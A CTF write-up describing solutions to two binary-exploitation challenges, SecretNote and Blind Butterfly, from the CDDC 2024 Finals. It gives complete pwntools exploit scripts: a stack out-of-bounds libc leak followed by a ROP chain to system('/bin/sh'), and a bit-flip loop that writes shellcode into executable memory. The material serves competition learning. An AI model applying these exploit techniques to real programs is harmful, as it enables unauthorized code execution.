Cyber Defender's Discovery Camp 2024 Finals
I competed with NUS Greyhats in BrainHack CDDC 2024 Finals and we came out first ✌️
Here are some brief writeups on some of the tasks I solved/attempted
Pwn - SecretNote
From reversing the program in IDA, we can get a nice looking source code similar to this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
int main()
{
int opt;
unsigned int pg;
int i;
struct chunk s[32];
unsigned __int64 canary;
while ( &s[24].buf[128] != (char *)&s[1] ) // seems to be allocating space on stack
;
canary = __readfsqword(0x28u);
print_stuff();
setbuf_stuff();
memset(s, 0, sizeof(s));
opt = 0;
pg = 0;
for ( i = 0; i <= 31; ++i )
{
printf("[>] Input your name : ");
read(0, &s[i], 0x10uLL);
if ( !strcmp(s[i].name, "CDDC\n") )
{
print_menu();
scanf("%d", &opt);
if ( opt == 1 )
{
printf("[>] Read page : ");
scanf("%d", &pg);
printf("[*] %d page contents\n", pg);
printf("[*] Name: %s\n", s[pg].name);
printf("[*] Note: %s\n", s[pg].buf);
}
else if ( opt == 2 )
{
printf("[>] Edit page : ");
scanf("%d", &pg);
printf("[>] New note : ");
read(0, s[pg].buf, (unsigned int)nbytes);
}
}
else
{
printf("[>] Input your note : ");
read(0, s[i].buf, (unsigned int)nbytes);
puts(s[i].name);
puts(s[i].buf);
}
}
return 0LL;
}
- If our name is
CDDC
, we get access to an admin panel that allows us to read and write to some pages. - The program reads an index from the user to decide which page to
read
andwrite
from. This index is not bounded!!!
Since we have an out-of-bounds read on the stack, we can trivially get a LIBC leak.
With the leak, we can write a ROP-chain with our out-of-bounds write.
Getting a LIBC leak
In order to get a better understanding of where our OOB read/write is, we can use GDB to set a breakpoint at 0x4015A2
(line 38 in the code block above).
There are 32
pages in total, so we can provide a page number of 32
to write to the 33rd page (OOB write).
1
2
3
4
5
6
7
[>] Input your name : CDDC
[*] Welcome ADMIN!
[*] Select Mode.
[1] Read
[2] Edit
[>] 2
[>] Edit page : 32
In GDB, we will see this when we hit the breakpoint
1
2
3
4
► 0x4015a2 call read@plt <read@plt>
fd: 0x0 (/dev/pts/2)
buf: 0x7fffffffd9f0 ◂— 0x1
nbytes: 0x200
We now know that we are able to do OOB read/write at 0x7fffffffd9f0
. We can inspect the adjacent memory to see if there are any important pointers for us.
1
2
3
pwndbg> tele $rsi
00:0000│ rsi rbp 0x7fffffffd9f0 ◂— 0x1
01:0008│+008 0x7fffffffd9f8 —▸ 0x7ffff7dadd90 (__libc_start_call_main+128) ◂— mov edi, eax
As you can see, there is a libc address 8-bytes into our buffer. We can leak this by writing exactly 8 bytes (and thus overwriting the NULL terminators) to the chunks, and then printing from it.
This will result in the libc address being printed together with our 8-byte input.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = process("./SecretNote")
# write exactly 8 bytes to buffer
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"2")
p.sendlineafter(b"page : ", b"32")
p.sendafter(b"note : ", b"a"*8)
# read buffer (8 bytes + libc address)
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"1")
p.sendlineafter(b"page : ", b"32")
p.recvuntil(b"Note: aaaaaaaa")
# print leak
libc_leak = unpack(p.recvline()[:-1], "all")
log.info(f"libc leak @ {hex(libc_leak)}")
# [*] libc leak @ 0x7d01d3064d90
p.interactive()
Identifying the remote LIBC
If we run the script above on the server, we can use the address 0x7d01d3064d90
to identify possible GLIBC versions that the server might be running.
By either using libc.rip or your own self-hosted libc database, we can search up the address and the symbol name to get the shell.
1
2
3
4
5
6
7
8
9
10
11
❯ ./find __libc_start_main_ret 0x7d01d3064d90
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu1_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.1_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.2_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.3_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.4_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.5_amd64)
ubuntu-glibc (libc6_2.35-0ubuntu3.6_amd64)
launchpad-ubuntu-glibc-jammy (libc6_2.35-0ubuntu3.7_amd64)
ubuntu-glibc (libc6_2.35-0ubuntu3.8_amd64)
ubuntu-glibc (libc6_2.35-0ubuntu3_amd64)
Typically when you see a return address of
main
that is some offset oflibc_start_main
, it can be used to do a libc search with the symbol__libc_start_main_ret
.
Finally, you can either download the libc and do pwninit
or patchelf
to patch the program to use the remote glibc.
This will ensure that your environment is almost identical to the server and that the offsets will be the same.
Popping a SHELL
Conveniently, the libc address we just read from is also the return address of the main
function! (feel free to verify this yourself in GDB)!
If we overwrite this with a ROP chain to call system('/bin/sh')
, we win!
Solution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.binary = elf = ELF("./SecretNote")
libc = elf.libc
p = process("./SecretNote")
# fill 8 bytes between start of page->buf and return address of main
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"2")
p.sendlineafter(b"page : ", b"32")
p.sendafter(b"note : ", b"a"*8)
# leak the return address of main
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"1")
p.sendlineafter(b"page : ", b"32")
p.recvline()
p.recvline()
libc.address = unpack(p.recvline()[18:][:-1], "all") - 171408
# we prepare our ROP chain to call system("/bin/sh")
r = ROP(libc)
r.call(r.ret)
r.system(next(libc.search(b"/bin/sh")))
# we overwrite return address with our ROP chain
p.sendlineafter(b"name : ", b"CDDC")
p.sendlineafter(b"[>]", b"2")
p.sendlineafter(b"page : ", b"32")
p.sendafter(b"note : ", b"a"*8 + r.chain())
# we exhaust the remaining writes so the program will return
for i in range(32-3):
p.sendlineafter(b"name : ", b"asd")
p.sendlineafter(b"note : ", b"asd")
p.interactive()
Pwn - Blind Butterfly
We are provided with the source code, but not the program (i still don’t understand the point of not releasing the program…).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// gcc -O2 -o butterfly butterfly.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
void initialize(void) {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
int main(int argc, char* argv[]) {
uint64_t addr, bits;
char buf[256];
initialize();
printf("[+] Welcome to Bit Flip Service!\n");
printf("[+] main address : %p\n", main);
printf("[+] stack address : %p\n", &addr);
int ret = mprotect((void *)((uint64_t)(main) & 0xfffffffffffff000), 0x1000, 7);
if (ret != 0) {
perror("[-] mprotect error!\n");
return -1;
}
if ( fgets(buf, 0x100, stdin) != 0 ) {
bits = strtol(buf, 0, 0);
addr = (bits >> 3);
*(char *)addr ^= 1<<(bits%8);
printf("[+] flip : %p, %ld\n", (uint64_t *)addr, (bits%8));
ret = 0;
}
else {
perror("[-] Bad input!\n");
ret = -1;
}
printf("[+] Good bye!\n");
return ret;
}
There’s only a few important points here
- Program turns ELF
.text
to writable - Program does a single bit flip on any specified address, then returns
Expanding our primitive
Naturally, one bit-flip is an extremely cosntrained restriction.
Ideally, we should find a way to expand our primitives to do more bit-flips and eventually write shellcode.
They provided us with the command used to compile the program: gcc -O2 -o butterfly butterfly.c -no-pie
.
I used the same command to compile my own program, to look through the disassembly and find any interesting bits that I can flip to do more things.
1
2
3
4
5
.text:000000000040123D add rsp, 128h
.text:0000000000401244 mov eax, r12d
.text:0000000000401247 pop rbp
.text:0000000000401248 pop r12
.text:000000000040124A retn
This is the function epilogue for the main
function, where it destroys the stack frame of the function and return to it’s caller.
If we are able to flip the bit to modify add rsp, 0x128
into add rsp, 0x28
, the stack frame will not be properly destroyed, and the stack will be pointing to our buffer instead of the original return address.
This allows us to do a ROP chain in our input buffer to loop back to main
.
Here’s a proof-of-concept:
1
2
3
4
5
6
7
8
9
10
from pwn import *
context.binary = elf = ELF("./butterfly")
p = process("./butterfly")
payload = str((0x401241 << 3)+0x0).encode()
payload += b"\x00"*32
payload += p64(0x42424242) # program will crash at RIP=0x42424242
p.sendline(payload)
Getting a SHELL
After flipping the bit to allow us to repeatedly ROP back to main
, we need to still find a way to get a shell.
We can simply use our infinite bit-flips to craft a shellcode in memory and execute it.
Solution
This solve script works locally on my own compiled program.
In order to get it to work on remote, you will need to brute force to find:
RET
gadget- address of
add RSP, 0x128
instruction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.binary = elf = ELF("./butterfly")
p = process("./butterfly")
# bitflip `add rsp, 0x128` -> `add rsp, 0x28`
payload = str((0x401240 << 3)+0x8).encode()
payload += b"\x00"*32
payload += p64(0x40124a)
payload += p64(elf.sym.main)
p.sendline(payload)
# craft our shellcode at 0x401e00
sc = asm(shellcraft.sh())
for i in range(len(sc)*8):
if (sc[i//8] >> (i % 8)) & 0x1 == 0x1:
payload2 = str(((0x401e00 + i//8) << 3)+((i % 8))).encode()
payload2 += b"\x00"*32
payload2 += p64(0x40124a)
payload2 += p64(elf.sym.main)
p.sendline(payload2)
# the bit flip here is irrelevant, we just want to
# execute our shellcode!
payload2 = str((0x401ff0 << 3)+((i % 8))).encode()
payload2 += b"\x00"*32
payload2 += p64(0x401e00)
p.sendline(payload2)
gdb.attach(p)
p.interactive()